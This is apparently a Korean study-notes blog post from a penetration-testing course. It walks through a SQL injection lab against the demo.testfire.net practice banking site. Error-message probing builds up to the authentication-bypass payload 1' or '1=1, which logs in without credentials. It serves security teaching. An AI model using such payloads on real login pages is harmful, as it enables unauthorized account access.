20160825 웹보안
IP
ID/PW
DB
환경 결과
--------------------------- ---------------------------
Web SQL SQL서버 인증 우회
--> [ ] --> [ ] DB 정보 수집
<-- [ ] <-- [ ] DB 정보 변경/삭제
웹서버 ↑ DB서버
↑
문제 ↑
---------------------------
입력 -> 필터링 없이
악의적인 SQL을 Injection
DB S/W DB
------ ---------------
Excel Excel 묶음 파일
MySQL DB
+
= DB
웹 해킹과 보안
■ 사용시스템
- Windows 7(3G)
- KaliLinux(1G)
■ Windows 시스템의 Memory 3G 변경
■ Windows 7 운영체제 전원 ON
soldesk 사용자로 로그인하여 네트워크 설정 작업을 한다.
■ Windows 7 네트워크 설정 변경
● IP/Netmask : 192.168.10.202/255.255.255.0(NAT)
● Gateway : 192.168.10.2
● DNS : 168.126.63.1
다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^
웹보안(Web Security)
제 1 장 SQL Injection
[실습1] 로그인 페이지에 대한 인증 우회
■ 실습 설명
● 논리적 에러를 이용한 SQL Injection을 설명하고 있으며, 공격에 대한 인증 체계를 우회하여 계정과 암호없이 로그인하는 것을 테스트 한다.
■ 실습 시스템
● (대상시스템) http://demo.testfire.net(웹사이트)
● (점검 툴) windows 7(웹브라우저)
■ 준비작업
Windows 7 네트워크 설정 변경
IP/Netmask : 192.168.10.202/255.255.255.0
Gateway : 192.168.10.2
DNS : 168.126.63.1
IE 홈페이지 설정
IE > 도구 > 인터넷옵션 > 빈페이지
① 웹사이트에 접속하여 로그인 테스트
● http://demo.testfire.net
-> 오른쪽 상단의 "Sign In" 선택한다.
그럼 다음과 같은 로그인 페이지가 보여진다.
로그인창 부분에서 다음과 같이 Username과 Password 부분에 "'1" 입력한다.
Online Banking Login
Username: '1 Password: '1
Login |
출력 화면은 다음과 같다.
-> (주의) 위의 에러메세지는 반드시 메모장에 복사하여 붙여서 분석하여야 정상적으로 분석이 된다.
메모장에서 보면 웹상에서 보여지는 내용이 다르게 보여진다.
(출력 내용 분석)
An Error Has Occurred Summary:
syntax error(missing operator) in query expression 'username = ''1' AND password = ''1''.
Error Message: ..... 중략 ..... |
● 쿼리 구조의 필드이름은 Username, password 이고,
● 2개의 필드는 AND 구조로 연결되어 있으며,
● 입력한 문자열은 쿼테이션 내에 포함된 것을 확인 할 수 있다.
● 입력했던 '(작은 따옴표)는 "(큰 따옴표)로 변경된것을 확인할 수 있다.
② 추가적인 에러를 확인하기 위해서 Username과 Password 부분에 "'1 or"을 입력한다.
(실행 화면)
Online Banking Login
Username: '1 or Password: '1 or
Login |
(출력 결과)
-> (주의) 위의 에러메세지는 반드시 메모장에 복사하여 붙여서 분석하여야 정상적으로 분석이 된다.
메모장에서 보면 웹상에서 보여지는 내용이 다르게 보여진다.
(출력 내용 분석)
An Error Has Occurred Summary:
syntax error(missing operator) in query expression 'username = ''1 or' AND password = ''1 or''.
Error Message: ..... 중략 ..... |
● 입력한 '1 or 값에 쿼데이션(')이 양쪽으로 감싸는 구조라는 것을 알 수 있다.
③ 다른 에러 메세지를 보기 위해 Username과 Password에 1 or '1을 입력 한다.
(실행 화면)
Online Banking Login
Username: 1 or '1 Password: 1 or '1
Login |
(출력 결과)
-> (주의) 위의 에러메세지는 반드시 메모장에 복사하여 붙여서 분석하여야 정상적으로 분석이 된다.
메모장에서 보면 웹상에서 보여지는 내용이 다르게 보여진다.
(출력 결과 해석)
An Error Has Occurred Summary:
Syntax error (missing operator) in query expression username = '1 or '1' AND password = '1 or '1''. Error Message: |
● 입력한 값 중 쿼테이션이 누락된 위치(첫 번째 숫자 1 뒤에 쿼테이션이 누락됨)을 알 수 있다.
④ 위의 ①②③ 테스트를 통해 완벽한 쿼리 구조을 유추하여 공격한다.
지금까지의 테스트를 통해 얻은 지식을 정리해 보자.
입력값(Username/Passowrd) | 출력 내용 | |
'1 | '1 | 'username = ''1' AND password = ''1'' ● 계정과 암호 필드의 이름 확인 |
'1 or | '1 or | 'username = ''1 or' AND password = ''1 or'' ● 입력한 '1 때문에 "1(특수문자 '(double quote)가 2개 보임)이 된다는 것을 알수 있다. 즉 1 앞의 특수문자 '는 삽입하면 안되는 것을 알수 있다. |
1 or '1 | 1 or '1 | 'username = '1 or '1' AND password = '1 or '1'' ● 앞에서 입력한 1(1 or '1)만으로는 '1(username = '1 or '1')만 보여지므로, 1 뒤에 특수문자 '가 필요하다라는 것을 알수 있다. |
|||
|||
VVV
(공격용 Username/Password)
1' or '1=1 | 1' or '1=1 | 'username = '1' or '1=1' AND password = '1' or '1=1" ● 위의 단계를 통해 얻은 정보를 바탕으로 1 뒤에 특수문자 '만 붙여진다면 '1'(username = '1') 구조가 되어, 쿼리 구조가 완선된다. |
(공격 실행 화면)
Online Banking Login
Username: 1' or '1=1 Password: 1' or '1=1
Login |
(공격 출력 결과)
-> 정상적으로 로그인 된것을 확인할 수 있다.
(출력 결과 분석)
● 다음과 같은 구문을 통해 공격할 수 있었다.
username = '1' or '1=1' AND password = '1' or '1=1''

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글
20160829 SQL Injection & XML Injection (0) | 2016.08.29 |
---|---|
20160826 웹보안 (0) | 2016.08.27 |
20160825 BitLocker (0) | 2016.08.25 |
20160824 윈도우즈 서버 보안 (0) | 2016.08.24 |
20160824 Snort on CentOS6.X (수정) (0) | 2016.08.24 |